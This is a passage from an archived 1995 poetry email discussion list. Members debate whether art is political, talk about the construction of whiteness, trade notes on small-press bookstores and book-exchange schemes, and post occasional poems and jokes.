Rae, of course you are.

↑ Index

347. **Tom Mandel**
Re: true friendship
Sun 16 Apr 1995

Hank, I only caught your absolutely correct response of last thursday, response to the Blake quote with its attendant cruise. You were nearer your books than I and "In opposition is true friendship" is exact (tho, for that matter, so is "opposition is true friendship").

As you know, the cruise has already been awarded. But, I do feel that you rather than Gary Sullivan now have best claim on the 'Vette. But, I have already awarded it to him; I'm in a bind. Perhaps Gary would be willing to share this historic vehicle.

I realize that I could also cut it in two lengthwise, providing one of you with the driver's experience and the other with that of a passenger. This would accomplish the further goal of enriching retrospectively the meaning of the phrase "split-window coupe."

What color would you like?

tom

↑ Index

348. **eric pape**
Re: politics
Sun 16 Apr 1995

What is politics? I remember one poet, after one of these many wrestling matches about the issue, said in exasperation, "isn't what we are talking about as politics your moral center?" Certainly we can argue over what is moral, and why a center (snore), but I think she had something important there. Something more than just what happens when more then two people get together, although this idea aknowledges politics as taking place between the reader and the writer, as it should. The thing is that Republicans know art is political and that's why they try to kill it. Only us and the Democratic party defend art because they think it somehow above the political. Ultimately, if art is what some of us are saying: non-political, amusement, transcendence, etc, then it is hard to justify. If art is this, it deserves to be killed. I don't happen to think it is. Thanks ,Eric.

↑ Index

349. **Aldon L. Nielsen**
Re: A Whiter Shade of Pale
Sun 16 Apr 1995

Curiously, at least to me, whiteness has, in America, been defined negatively on most occasions; for example, when the Supreme Court has found itself called upon to issue a definition of the white race, it has generally chosen instead to explain why the person before them at the time is non-white. Look at Eric Sundquist's discussion of Plessy v Ferguson, in which the novelist & lawyer Albion Tourgee argued that Plessy had been unlawfully deprived of property, that property being his reputation for being a white person (the courst agreed that Homer was not white).

I sometimes have students who gripe that there isn't a white history month or other such celebration of whiteness (though I don't get much of this since the majority of students on my campus are legally defined as non-white) -- It's not that old complaint that interests me; it's their response when I treat the complaint seriously and ask them what the contents of this whiteness might be. Then it quickly becomes evident that they want to have their whiteness and deny it at the same time. That is, they insist, also, that they don't see things racially, that it is all the non-whites who insist on continuing diviseness by forcing the white students to view the world racially -- That they would point to any number of cultural phenomena they believe the white race to have invented (such as, the claim goes, the very idea of racial tolerance) but they at the same time insist that none of these phenomena are constructed "whitely" -- This _is_

indeed confusing, What it amounts to is that these students are angry that everyone is raced & ethnic but, supposedly, themselves; but they insist that they don't see themselves as white people; I think that _is_ the remanant of white skin privilege in the U.S. -- the right to decide when & where to become white.

Maria's work in this area, by the way, is well worth reading if you don't already know it. Also, & I may mangle the title here, Allen's _The Invention of the White Race Vol. 1_.

A mag. with a title I detest, _Race Traitor_, sometimes has interesting pieces on this topic, though its overall tone of "I'm more counterhegemonic than you" is hard to take.

I've taught Frank O'Hara in my Ethnicity in Lit. class, and have even floated a poem by my friend Spencer (Selby) in front of my students just to trouble the waters --

Don't we all have more than two names?????? Even Sappho?????

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350. Gary Sullivan
Don't cut that 'Vette, hand me the Peruvian flake
Mon 17 Apr 1995

Dear Tom:

Thanks for the offer, but I'll stick with Marta's '82 Plymouth Reliant, bought (cheap!) from the University of Minnesota. (Who says American Universities have nothing to offer?) The 'Vette would last 2 winters before rusting &, besides, the Plymouth looks like an FBI vehicle. You do the kinds of drugs necessary to "keep on top of" today's hip-now-with-it- a-go-go music scene in a 'Vette, you're just asking for a tedious (& need I mention recreational-drugless?) stay in Stillwater Prison.

But, seriously, give the 'Vette to Lazer. I'd just sell the the thing for cigarettes, anyway...

Yours,

Gary

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351. Chris Stroffolino
Re: politics
Mon 17 Apr 1995

Re--moral center---Is that the center that can not hold? Of the "shopping center" that skirts around the city...thus conferring a sinister connotation onto Shelley's talk about "the center that becomes the circumference" during an acid trip.... Someone once said that one can not be a Machievellian without a moral center. This, of course, means that one can not have a moral center without being a macheivellian....Nonetheless, there is an "us" and a "them"----Yours, Chris Stroffolino

↑ Index

352. Chris Stroffolino
WHite History Month
Mon 17 Apr 1995

Dear Aldon--It's funny I saw a St. Patrick's day here in Albany and was kinda surprised how in 1995 there is still so much "ethnic pride" amongst whites...Like when I lived in philadelphia and shared an office space with a girl/woman (kinda transitional) who lived with her parents in South Phila. (highly ethnic italian and catholic and MUMMERS--do you know what MUMMERS are??????) and never left until she got married...and even then stayed there...Understanding such ethnic isolationism and the "tight communities" of whiteness came as a shock...especially during the year I lived in one of those ("white trash") neighborhoods and found ' it more , er, disconcerting than living in North Phila. as only white guy on block....I was called "nigger lover" and had a couple of close calls with the locals...and this is much of what we're up against.... CS

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353. Marisa A Januzzi
bookstores
Mon 17 Apr 1995

Hello to Ted Pelton and everyone else.

That list of NYC bookstores was great but out of date by at least two years (some closings, some name-changes, etc). Anyone coming to NYC should feel free to e-mail me with particular interests (new? used? antiquarian?) and I'd be happy to elaborate on possibilities. I feel as if I've worked in them all.

Anyway, here I am in NY and I'd guess I get most of my new stuff from SPD and Moe's in California via on-line lists and catalogues. They've got a web site

somewhere and are reachable through e-mail <[redacted]> and have a pretty strong poetry section. The Grolier in Cambridge is also ok for poetry but not consistent in what they'll stock. The Gotham is also great, if you can get over how rude half the staff is. I was once on hold for an hour and forty-five minutes and the person finally came back and didn't even laugh or seem surprised that I was holding...

There are some great stores here, but yeah, you have to get used to the idea that for the most part books are "stock" to the people you're dealing with, in the new book trade.

Bye for now--(I was serious! Feel free to e-mail for closer information)

Marisa Januzzi <[redacted]>
wishing the Phoenix still existed, or the Washington Sq Bookshop

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354. **Ron Silliman**
Re: jazz/poetry
Mon 17 Apr 1995

In the late 1970s, I had a rare demo record of a session Lorenzo Thomas did fronting a blues/rock band while in college (Queens? Brooklyn?). The band was called The Bankers -- hard to imagine that image for Lorenzo -- and he wrote the lyrics, sang the songs. I remember one verse: "bedbug morning, silverfish afternoon."

The acoustics were dreadful but the music was out there. I got the record from the bass player (Rich Jenkins, the younger brother of the playwright Len whom Douglas has published on more than one occasion). I gave my copy back to Lorenzo when I learned that he had lost the only copy he had had.

My question: are there any other recordings of him w/ musicians out there?

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355. **Ron Silliman**
Re: Bookstores and Small Depressing NonDistrubition
Mon 17 Apr 1995

"On the other hand, I hate to defend the market economy, but I do recognize that it exists, and part of me wonders why so many people even expect bookstores to be intellectual service organizations, rather than businesses. The exception Ron Silliman pointed to, Woodland Pattern, is organized as a nonprofit organization and is, in some ways, explicitly an intellectual service center, and they could not possibly

exist without individual, foundation, corporate, and government contributions. That goes some way to explain why they are the most fantastic poetry bookstore on the continent."
>
> Charles Alexander

Woodland Pattern would not exist at all if Karl Gartung were not so committed to it as a project to work as a truck driver (for Emery Air Freight or some such) to make Anne's lack of income "okay," a very basic and personal form of subsidy. Similarly, Modern Times, the best political bookstore in SF, has for 15 years depended on Pam Rosenthal's labor as a computer programmer at the Federal Reserve Bank. Like SPD, these organizations are indeed service providers and miracles every one!

-- Ron

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356. Mn Center For Book Arts
Re: Bookstores and Small Depressing NonDistrubition
Mon 17 Apr 1995

On Sun, 16 Apr 1995, Ron Silliman wrote:

>
> Woodland Pattern would not exist at all if Karl Gartung were not so
> committed to it as a project to work as a truck driver (for Emery Air
> Freight or some such) to make Anne's lack of income "okay," a very
> basic and personal form of subsidy. Similarly, Modern Times, the best
> political bookstore in SF, has for 15 years depended on Pam Rosenthal's
> labor as a computer programmer at the Federal Reserve Bank. Like SPD,
> these organizations are indeed service providers and miracles every
> one!
>
> -- Ron
>

Just to fill in some of the story, no matter how removed and inaccurately I am from it, I do believe Woodland Pattern began with a different name and location, and that it was in part the brainchild of a group of people, including Jerome Rothenberg who at the time was teaching at Univ. of Wisconsin, Milwaukee, but also included quite prominently, Karl Young, who has been tireless in his efforts to write, publish, review and otherwise write about, and make available small press works. Karl Gartung and Ann Kingsbury are to be praised for their vision and tireless work, but there is a large degree to which Woodland Pattern began and still

exists as the vision of many, and one which unites a local community with a much larger one via books and performances.

If you're in Milwaukee, Woodland Pattern is currently exhibiting an exhibition, ART AND LANGUAGE: RE-READING THE BOUNDLESS BOOK, which was originated in the spring of 1994 at Minnesota Center for Book Arts and which has now been to Atlanta and Milwaukee. This exhibition must return to artists after the current Milwaukee showing, but if anyone is interested in book arts, art/language exhibitions, particularly as a potential site host, please let me know, either via e-mail, or at Minnesota Center for Book Arts, 24 North Third Street, Minneapolis, MN 55401. Phone [redacted]; fax [redacted].

And thank you, Ron, for once again bringing Woodland Pattern to people's attention.

charles alexander

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357. Susan Schultz
books/movie
Mon 17 Apr 1995

I have a question for the New Zealanders on the list: what was the reception of _Once Were Warriors_ like there? The movie has amazing resonances here in Hawaii, but also elsewhere (the identifications with African-American culture I found especially interesting). Roger Ebert got it comically wrong when he described it as a film about the evils of alcoholism, when it's more about Maori oppression and internalized (and externalized) rage.

As for books, I order through the mail all the time. We're on the brink of having two Borders and a Barnes and Noble in Honolulu, but the poetry selections are, shall we say, tame. I'd be delighted to be able to order through the net, or at least to have a catalogue of available books on-line.

I'm thinking of starting up a modest subscribers' only journal (like _Situation_) that would concentrate on "experimental" writing, especially that from the Pacific area, though not exclusively. I'd be delighted to get suggestions, about poets and about the mechanics of getting a small journal going, from anyone through the backchannel.

Thanks in advance,

Susan Schultz

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358. **cris cheek**
Re: Dissemination (long)
Mon 17 Apr 1995

Hi. Seems as if there are several suggestions re distribution surfacing or re-surfacing. Good. Using this space operationally figures in all of them so far.

James, I don't get the advantage of downloading ASCII from a middle-man. In many (although I grant not all) cases I could get that direct from the poet or have work posted to me via this space (which is increasingly happening). Whereas I do the advantage of buying a hypertext work on disc direct from say John Cayley or Kathryn Cramer or Jim Rosenberg. So, buying a disc which present work in some way authored and designed for this e-space - yes. Otherwise no.

As to Direct Mail it makes sense to use this listserv AND to cross-reference several others such as Eric's suggestion of Jewels (although I don't know what that is - doesn't matter at the present, there may be many). I'm certainly more keen on an announcement accompanied by examples from the work as in Juliana's or Kali's recent promo posts than in merely a listing of available titles or a title plus a smoothe blurb from anyone (which as far as I can see only fosters the perception of a clique towards closure if we're talking about the curious browsing). But then that's exactly the kind of possibility this e-space offers. I'm also curious to hear from may others about Direct Mail preferences and experiences.

Some (thanks gary and charles) have responded positively to the Timezone Exchange (i don't know how should we refer to it?) suggestion and the next step would be a bit of simple nuts and bolts on its mechanism?

It seems from my own access that the EPC is in need of some updating. Many author cites are blank. But the EPC provides one exceptionally integrated resource potential. A lot is down to us poets and publishers to learn the formatting languages to facilitate the fully-dimensioned presentation of our work(s).

dry, cold and windy
cris

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359. **Michael Boughn**
Re: A Whiter Shade of Pale
Mon 17 Apr 1995

> *Curiously, at least to me, whiteness has, in America, been defined negatively on most occasions; for example, when the Supreme Court has*

> *found itself called upon to issue a definition of the white race, it has generally chosen instead to explain why the person before them at the time is non-white.*

Why do you find this curious, Aldon? I find it a confirmation of the fact that race doesn't exist other than as a poltical creation (see, for instance, Michael Omi and Howard Winant, _Racial Formation in the US from 1960-1980_). (Whoa, politics!) "Blackness" has always been defined as a "lack of pure whiteness", while "whiteness", for those who care, only exists as the complete absence of "blackness". Thus, a drop of "black blood" makes you "black". Only the absence of that makes you "white". Not that there is any such absence, other than as a fiction. I had a fight about this with some dufus on the Phil-Lit list who insisted that during the entire 300 year Moorish occupation of southern Europe, community standards prevented sexual relationships between the occupiers and the occupied. Yeah, sure. We know what happened here. As Sing Bird says in Toni Morrisn's _Song of Solomon_, it's a wonder anybody knows who anybody is. Faulkner is the a master teller of the story of the fiction of race. Check out _Light in August_, _Absalom, Absalom_, and _Go Down Moses_.

Mike

[redacted]

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360. Loss Glazier
Re: Dissemination (long)
Mon 17 Apr 1995

> *It seems from my own access that the EPC is in need of some updating. Many author cites are blank. But the EPC provides one exceptionally integrated resource potential. A lot is down to us poets and publishers to learn the formatting languages to facilitate the fully-dimensioned presentation of our work(s).*

Cris,

Are you using Web access or gopher? A commercial system? I don't think there are any actual blank author locations. However, writing links for the EPC tends to be highly labor intensive. The situation has been that it all has to be done *twice* to support both gopher (Aol, etc.) and web access. I mean we are talking _many_ hours of work. Given the greater power and flexibility of the Web (and its near certain movement towards being an Internet standard), I have tended to keep those links active.

This creates a problem. Let those who can't access the web use gopher and see an out-of-date version of the EPC (what, maybe 60% of it is there via gopher) or eliminate that version (unfortunately then not allowing some to contact?)

Anyway, I may have misinterpreted this part of your post. But that's the only way I can figure you are finding empty author menus, since the author area shouldn't have this.

All best,
Loss

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361. **maria damon**
Re: A Whiter Shade of Pale
Mon 17 Apr 1995

---

great post, aldon. who's "allen"?--maria

In message <[redacted]> UB Poetics discussion group
writes:
.. Allen's _The
> Invention of the White Race Vol. 1_.
>
> A mag. with a title I detest, _Race Traitor_, sometimes has interesting
> pieces on this topic, though its overall tone of "I'm more
> counterhegemonic than you" is hard to take.
>
> I've taught Frank O'Hara in my Ethnicity in Lit. class, and have even
> floated a poem by my friend Spencer (Selby) in front of my students just
> to trouble the waters --
>

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362. **Robert Drake**
Re: Dissemination (long)
Mon 17 Apr 1995

> *The best of all possible worlds would be to combine Ron's and Rae's concerns. Where those who know the stuff could direct mail and those who don't can happen upon it. The only way I can see this happening is on the net. Various catalogs could be made available and one could order stuff while logged on (as you can do now on Prodigy, etc.) This network could be placed on various gopher/www lists (like jewels) and in this way practically anyone that has access to the net (admittedly a small group now but getting larger) can have access to the books. This would then complement the availability of e-books, which could in fact assist sales.*
> *A bit of wishful thinking, prob, but is anyone interested? Thanks, Eric.*

having no modesty, i want to point to TapRoot at the EPC, which has a WWW version underconstruction (150 short reviews indexed so far, about 10% of the backlog), and which might be a start. the ordering information/ addresses point direct to the publisher--i always like to order direct, puts more $$ back into the press. and the intention is to add links from the reviews to sample of work from the publications, tho copyright permission details etc. have yet to be worked out. and as ever, i'm actively soliciting contributions of reviews...

luigi

↑ Index

363. Robert A Harrison
Woodland Pattern
Mon 17 Apr 1995

In response to the recent posts concerning Woodland Pattern:

Before it was incorporated in 1979, it was known as "Books Books," which began in the early seventies sometime ('72, '73?). Much better for small press books than anything I've seen in NYC or Chicago. It was started in the early 70s by Karl Gartung, Anne Kingsbury, Karl Young, Tom Montag, and Mark Haupert (Jerome Rothenberg was not directly involved, though he may have been teaching at UWM while "Books Books" began). They do 40 or so public events per year including readings, art openings, workshops, and music events. Their ethnic literature sections are some of the more extensive I've seen (very large Native American section), and their poetry selection has been growing at a more than healthy pace since its beginning, so they have stuff that even SPD doesn't have anymore. They have catalogs available for their ethnic literature collections (not for their poetry selection, it would be too big). AND, they have large collections of fine print books and chapbooks.

They're tremendously dedicated to the Milwaukee community as well as keeping up a world class literary center.

Their address:

Woodland Pattern
720 E. Locust
Milwaukee, WI 53212
[redacted]
FAX [redacted]
Internet: [redacted]

bob harrison

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364. **Edward Foster**
Re: digest
Mon 17 Apr 1995

many texts but few poems

↑ Index

365. **Edward Foster**
Re: Standing
Mon 17 Apr 1995

oh, ron, stop preaching from the barricades. take spicer, for instances, of course homophobia has a lot to do with what you find in spicer, but i spent yesterday who was saying similar things. a great person, good talk, but not spicer, not poetry.

↑ Index

366. **Edward Foster**
Re: Standing
Mon 17 Apr 1995

oh, ron, the smokin' business: can't help you there, BUT there's a pretty good beer, to my taste, called red dog, which i recommend, though actually i like my home brew better. in any case, i do recommend beer, tho it reveal my relative class stance.

↑ Index

367. **Edward Foster**
Re: Knowledge & empowerment / electronic
Mon 17 Apr 1995

loss, i do agree with you. try, for instance, finding all the little mags with chapters from the h.d.book. the problem's dual: (a) only reason i can do/afford e-mail is that this place gives us computers, etc, (b) attitude that words here don't last.

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368. **braman sandra**
net dissemination
Mon 17 Apr 1995

Speaking of dissemination -- a couple of guys are about to start up a book distribution service for fiction. You pay a nominal fee to put in your manuscript.

Readers can read a few pages before making a decision to order it, at which paying for the book with a computerized transaction delivers the entire manuscript. Authors get a royalty of a few dollars apiece. Sounds great, frankly. Why only fiction? Needs a server, some software, someone to put in a little time running it. Sandra Braman

PS -- If anyone's interested in putting a manuscript up for the fiction server, please let me know backchannel ([redacted]), and I'll pass your names along.

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369. **Edward Foster**
Re: politics
Mon 17 Apr 1995

---

yes, mike, that's it: a is not marx. all language, it may be, is political (tho somewhat less so, i think, than some say), but it isn't that that makes the poem. spicer's joy in billy is a good deal more and other than relative class stance.

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370. **Edward Foster**
Re: politics
Mon 17 Apr 1995

---

no, eric, it's not the art that is political; it's the way it's used and what it's presumed to say by the big boys in elephant skins. i suggest a safari.

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371. **Edward Foster**
Re: poeticslist serve and desire / the 39 steps
Mon 17 Apr 1995

---

with angels and whatever comes to hand we seek and find the answer in the sand; dry, cool and buried deep below the sun, our ecstacy as blood within the darker roots will run. so rivers merge, are one.

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372. **maria damon**
Re: politics
Mon 17 Apr 1995

In message <[redacted]> UB Poetics discussion group
writes:
> no, eric, it's not the art that is political; it's the way it's used and what

> it
> 's presumed to say by the big boys in elephant skins. i suggest a safari.

i don't get it --what is the significance of elephant skins?--maria damon

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373. **eric pape**
Re: politics
Mon 17 Apr 1995

Yes, Chris. Ultimately I agree that the term moral center is a problem. What I meant is something more like baseline ethics, or something similar. Marx's analysis of capitalism is only a criticism if we find exploitation inethical.
Thanks, Eric.

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374. **Edward Foster**
Re: politics
Mon 17 Apr 1995

---

elephant skins: things republicans wear.

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375. **maria damon**
Re: politics
Mon 17 Apr 1995

In message <[redacted]> UB Poetics discussion group
writes:
> elephant skins: things republicans wear.

ah, i see- i thought we were entering some slippery territory of "criticism in the jungle." --maria d

↑ Index

376. **cris cheek**
Re: poeticslist serve and desire / the 39 steps
Mon 17 Apr 1995

Angelo - "spoon me down some of that 'honey'. I'm all merged out." Blood and Moon pressing the heating beck into this ox - when a woodcutter's riverrun steps by parading his latest smoothe treen
"Fresh and Green!!" "Dream on - Arkangelo".

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377. Lindz Williamson
I feel pink
Mon 17 Apr 1995

I have to agree with what Chris was saying about white ethnic communties such as the Irish and the Italian having tight knit celebrations of being " white". In Canada it is even more aparrent that being part of the white majority also means you are english. Being on the west coast my contact with Quebecois culture had been minimal until I started working at a French bakery to support myself through my BA. A whole new white culture opened up to me. Yet it did not change my BC attitude towards the Parti Quebecois. I'm still fond of bumper stickers that exclaim "Quebec seperates make them take Ontario!"

Someone else was talking about how attitudes of color are constructions of society and I think that is an excellent point. My "whiteness" is the result of my upbringing and experience and my perception of other races depends on how they are presented within my realm. Ted's rather aburpt response to my previous post made judgements on my life without any concept of how I live. Although I value his incite and his bold statments, I think his reactionary approach to my refusal to apologized missed my intended meaning. It all comes down to the futility of formal apologies, it's not a matter of feeling threatened.

Let's say you are left handed,and we the righteous majority of right handers decide that all left handers are mutants and should have their left hands cut off so you will no longer offend us. We the majority then force you to conform to our right handed ways. Then forty years later we see that we were wrong, science has proven that lefties aren't gimps. Obviously we can't give back all those left hands, but we can do huge tv campaigns and say "oops sorry, leftis are cool", "Hire a lefty", " lefties do it better". NOw does that make you feel any better, or wouldn't you, the one handed, previously lefthanded person prefer that we, the right hands actually did something useful with all that publicity money and found a way to replace that hand or atleast compensate you for the emense inconvience and humiliation you've suffered for the last forty years.

Lindz

Ps, There is a great scene in Cry Freedom, where Stephen Biko is on the stand and the prosecutor says " Why do you call yourselves Black, you look more brown to me." And Biko replies," Why do you call yourselves white, you look more pink to me."

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378. **Ron Silliman**
Re: Hallmark
Mon 17 Apr 1995

The close readers out there will note that the message with this title that you just read was "logged" by my network at work on March 22 -- it took 26 days to get out over the internet! Don't let anyone kid you about the "instantaneous" nature of this electronic stuff. If some systems engineer forgets to reboot the gateway server, you're toast!

Ron

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379. **Ron Silliman**
Re: politics
Mon 17 Apr 1995

I always knew those Foster's cans were too big.

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380. **Gary Sullivan**
Re: Book exchanges
Mon 17 Apr 1995

Dear Cris:

A few thoughts on your book exchange idea...

* It doesn't matter to me whether or not books exchanged are of equal (retail or production) value. I would happily exchange 5-10 copies of a perfectbound for an equal number of either chapbooks or "mimeos." This is because:

* I probably wouldn't try to sell the books I'd exchanged for. It wouldn't matter to me if -- let's take you as an example -- if you exchanged 5 copies of your most recent for mine, and then tried to sell mine. However you got them out would be fine w/me. What I would do with yours would be to give them to friends who I think would appreciate them, and/or include them as "bonus freebies" w/things of our own that we sent out. (I could take them to readings, too, though we don't have a lot of readings here in the Twin Cities.)

* As far as "nuts & bolts," that seems to be something each publisher would have to work out with other publishers on a publisher-by-publisher basis. Unless ...

* You mean maybe a "place" online that would be a list of publishers (including their e- and/or snail-addresses) who have expressed interest in participating in this exchange. (I like this idea, actually.)

How does the above strike you? Anyone?

Yours,

Gary

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381. Ron Silliman
Re: politics
Mon 17 Apr 1995

1st SF Home Rainout Since. Bounce Tabby-Cat Giants.
  Newspapers
Left in my house.
My house is Aquarius. I don't believe
The water-bearer
Has equal weight on his shoulders.
The lines never do.
We give equal
Space to everything in our lives. Eich-
Mann proved that false in killing like you raise wildflowers.
  Witlessly
I
Can-
not
accord
sympathy
to
those
who
do
not
recognize
The human crisis.

From "Thing Language," 1964

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382. Gary Sullivan
Re: politics
Tue 18 Apr 1995

PEOPLE IN THEIR ABSENCE

for Ed & Ron

Starvation is a chemical. Poor men praise
whatever worse outweighs
hope's burn. They write in rags of light

over unevents. Each time a little colder
in the head, eating, like
say, some more words. & in my world

that's what people are supposed to do.
So, who are you to tell me
I'm entitled to my opinion? Such food

as outstretched hands an offering make
& make of itself a circle
w/out end. My favorite evenings are factory ones

but I could do the other.

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383. Chris Stroffolino
Re: I feel pink
Tue 18 Apr 1995

Or PINKO---Lind(Z)'s comments on LEFT-HANDEDNESS do strike home as allegorical. "I've been Ayn Randed nearly branded a communist coz I'm left handed that's the hand to use well never mine" Simon (in response to McNamara's belated apology to KALI TAL's viet gen) And one's LEFTIST tendency (as a southpaw) were put severely into question during the 1992 Presidential debates--for CLINTON, BUSH and PEROT were all revealed to be lefties---oops, there goes the neighborhood--and not only that my two favorite Beatles were the right handed ones, and Ringo and Paul were the lefties....CS

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384. Chris Stroffolino
Re: Hallmark
Tue 18 Apr 1995

Well Ron don't worry I think your HALLMARK message is surely "News That Stays News" (stays as in "stay of execution"?--ah, the perils of "close reading") and makes me wanna propose an open question to this forum---Frank O'Hara writes somewhere "that those of us who thought poetry was crap were throttled by Auden or Rimbaud"---well, what I'm curious about is WHAT THROTTLED you "folks"??? What made you, uh, "get religion" as it were....or did any of you actually enjoy the FORCE FED FROST that signified "poetry" when you were younger so much younger than today? CS

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385. Susan Schultz
whiteness
Tue 18 Apr 1995

Chris--you should see Honolulu's New Caledonian society! Skirts, bagpipes, Robbie Burns readings. It's a kind of ethnic envy, I think. In a place where whiteness is next to ungodliness it's also an interesting self-assertion.

When I taught at a small college in Williamsburg, Virginia and included three works by African-American writers in an American lit class, students responded by suggesting I should have included more Italian-American literature (for example); or by saying they'd been made to feel guilty enough already. But what was most disturbing was the way in which they (not all, of course) considered it a course in American literature, with some African-American stuff thrown in on the side. I was finally reduced to telling them that Toni Morrison's a better writer than F. Scott Fitzgerald, which was to give in to a series of assumptions that were better left alone. A fine book on the canon is John Guillory's _Cultural Capital: The Problem of Literary Canon Formation_ (Johns Hopkins), which leaves no one's canonical myth unturned. Among his points: there is no such thing as a canon; there are only syllabi. There's also Michael Berube's book on the public debate over the canon, where he rips William Bennett, et al, to shreds.

Susan Schultz

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386. Mn Center For Book Arts
Re: Book exchanges
Tue 18 Apr 1995

I'm with Gary on the exchange idea, including agreeing to exchange perfectbound or smyth sewn books for chapbooks of various kinds. The only worry is that, if I am only publishing two or three books per year (and only getting back to that in 1995 after transition years after mid-1993 move) I may not be doing the quantity of work which many chapbook publishers are doing. But these issues of quantity and value seem not the point so much as getting the work around. In an edition of under 1000 I would probably limit the quantity of books available for exchange, rather than sale or author's copies or review copies, to 100 or less. I particularly like the idea of exchanges with authors as well as publishers, and I would not limit it to new books, either, although I would like to exchange for books I don't already have and haven't already read.

charles alexander

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387. Mn Center For Book Arts
Re: whiteness
Tue 18 Apr 1995

Susan, it is problematic to agree that Toni Morrison is a better writer than F. Scott Fitzgerald, in several ways. Beyond the whiteness issue, you have to define what "a better writer" means.

I was watching a late night locally produced arts television program last year here in Minneapolis which featured Patrice Koelsch, in conversation with artists and arts activists. Somehow the subject of Satchell Page's autobiography, as literature, came up, and Patrice got rather angry that such work was considered as literature, felt it was somehow an insult to REAL writers like Toni Morrison and Alice Walker. I thought her position was rather ludicrous, but realized I have might have been more in agreement if the writers she cited were Amiri Baraka, Clarence Major, Bob Kaufmann, Zora Neale Hurston, Gwendolyn Brooks, Nathaniel Mackey, Wanda Coleman,or Langston Hughes. But then we're all back in the finding the "better writer" game.

all best,
charles alexander

↑ Index

388. cris cheek
Re: Book exchanges
Tue 18 Apr 1995

I'm with Gary and charles. Committed to making something happen. e-mail page yes - where? EPC facility?

Out of town for a couple of days so will come back more fully on this then.

But YES
cris

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389. Aldon L. Nielsen
Re: White Mystery Month
Tue 18 Apr 1995

Several replies in random order:

The full citation is -- Allen, Theodore W. _The Invention of the White Race: Racial Oppression and Social Control Vol.1_ (Vol. 2 nowhere in sight yet). New York: Verso, 1994.

Yeah, I know all about Omi and Whynot -- good stuff there -- but a point is getting missed (_and_ the "one drop" rule is a peculiar institution of the U.S. -- things look quite different in the other colonies) -- Of course race is a social construction -- what I find curious is the shifting attitudes among self-declared white people about their whiteness -- (this also parallels their shifting beliefs about just what characterizes blackness, none of which has much to do with skin color at all).

That is, to link back to Chris's observations, most celebrations of white ethnic traditions such as St. Patrick's parades and so forth are quite apart from any celebration of whiteness (except when the neoAryan types reppropriate them, as has happened with some Celtic and Scottish celebrations in the NorthWest in recent years) -- and, interestingly enough, many of these are among communities, like the Irish and the Italians, who earlier in the century were not considered white people in most of the U.S. -- It is sometimes an easy matter to shift such a celebration immediately and forcefully into a "white" thing -- this often happened in the bad old days when a black person wandered into the proceedings --

My curiosity has been about the lack of content of the concept of whiteness for most young people who think of themselves as white, coupled with their, to me, odd attitudes about that very identification -- that is, to repeat myself from last time, the students with whom I have this conversation insist that they do not

see the world racially at all, and yet when they describe what they take to be the "norms" of US existence, it is very clearly a description in which all non-whites are viewed as deviating from what is posited as a norm --

I'll try to say this more coherently another time -- bottom line, most of my white students would insist vehemently that they have _never_ benefitted in any way from being white -- indeed, they tend to believe that "reverse discrimination" is _the_ social problem of our era (though the overwhlemingly white senior faculty at even this school would seem to indicate this isn't much of a factor in real academic employment) -- They often react as if even to discuss the history of slavery is to accuse them, as individuals, of something, and that to discuss history is to be anti-white -- since most of them have little or no knowledge of that history, I doubt that this is the result of their having been brow-beaten with it in K-12 school.

On the other hand, there are some really exciting young students showing up who actually read books and care about the textual past -- some of them are rereading the works of the 19th century abolitionists (_and_ the proslavery books) and producing analyses that are breathtaking in their originality and usefulness --

Anybody out there read Thomas Wentworth Higginson's memoirs lately? He was entirely wrong about both Dickinson and Whitman (quite a record there!) but his autobiographical works are tremendous; almost on a par with Melville.

Was Edward Taylor a white poet? Longfellow? W.S. Barithwaite?

↑ Index

390. **eric pape**
Re: I feel pink
Tue 18 Apr 1995

Lindz: I think you are right up to a point, but you don't go far enough. All the interesting analyses of "whiteness" so far, except for Aldon's fail to follow the chain of signfication adequately. Yes, whiteness signifies lack but lack of what: ethnicity. Ethnicity, I would argue, is the second term of the opposition European/ethnic, of simply white/ethnic. Ethnic, whether Jew, Italian, Ethopian, etc, signifies difference from a normative whiteness, thus it is possible even to place white trash as the supplement if the normative whiteness is, for instance, white yuppie. White also (take a look at Goethe's optics) signifies purity, cleanliness, while ethnic signifies impurity, curruption, which is why this construction is so hard to displace because the supplement, with all of its political implications is a constuction of language and culture. Lindz, you also seem to view genocide ahistorically, that is, to see the genocide of Native Americans totally distinct from the genocide of Jews that culminated in

Auschwitz. Genocide is a historical process, perhaps the apotheosis of our historical situation. Which is why we cannot forget, or simply say, well, whoopdedoo, that all happened a long time ago and has no relation to me at all. The fact is that language and history has not changed, and the conditions are ripe for another genocide and another and another, and if we keep saying that none of us are implicated because we had nothing to do with it, it will never stop. Lindz, you are absolutely correct when you say apologizing isn't enough, but forgetting just allows it to keep happening. Thanks, Eric.

↑ Index

391. **eric pape**
Re: politics
Tue 18 Apr 1995

Ed: As usual I appreciate your wit and insight. But I think that even saying art is not political is a profoundly political stament that has a specific politica history, going back in the English tradition to attempts to inculcate East Indian subjects into Western values. Indians were very resistant to Biblical studies, but English educators decided that in order to keep Indians "good subjects of English rule," they had to give them Christian values. They noticed that good Christians rarely attempt revolution in the temporal world (although there are some attempts now to do so). The English decided that Western literature was so steeped in Christian values (not sure that this is correct either) that you could teach that and make them Christian without making them Christians. In order to do that they had to claim that lit. was not at all political, and was in fact higher than that, beyond that, above that, or else another form of resistence, they thought, was likely to develop. This little story is surely flattened out, the processes made simpler than they were, but I think it demonstrates the political ease with which the claim to non-politics can be political. Having said all this, I now admit that I do in some sense agree with an earlier post that said that a poem, or other work of art can have a political content as well as a content of "spirit." For me, though, even spirit would be a political term as it would capture the ineffable sense of a society in which nobody would starve, which seems as close to transcendence as we are likely to get. Thanks, Eric.

↑ Index

392. **eric pape**
Re: politics
Tue 18 Apr 1995

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elephant guns anyone (but who distributes the ivory?)?

↑ Index

393. **Tony Green**
re-politics again
Tue 18 Apr 1995

The relation between something called poetry and something called
politics is deeply obscure.
To say that poetry is always political
collapses one into the other.

Poetry (and Art) likewise, and just as plausibly or impluasibly,
is always philosophy, always
religion, always sociolgy. In other words there is
no poetry, no
poetics, no "poetics"list as an in any way identifiable issue or set
of issues.
All its issues can be covered by political discourses,
religious discourses, theoretical discourses, sociological and
anthropological discourses?
Poetology becomnes a sub-branch of some
other - ology too glibly.

(What was that you were saying a
month or so ago Spencer Selby apropos theory
 when I tried to
intervene in the debate over theory?)

Denying that poetry is political is necessary in the face of the threat to submit poetry to the terms and judgments of political doctrine or religious doctrine or the proposals of some moral code.

Insisting that poetry is political, religious and moral is
just as necessary when poetry claims complete
autonomy from social process

The argument goes on, as if it can ever be resolved
on one side or the other. Well, can it? Isn't it
required for poetics to exist as something to write and talk
about that it be something other than politics etc, while
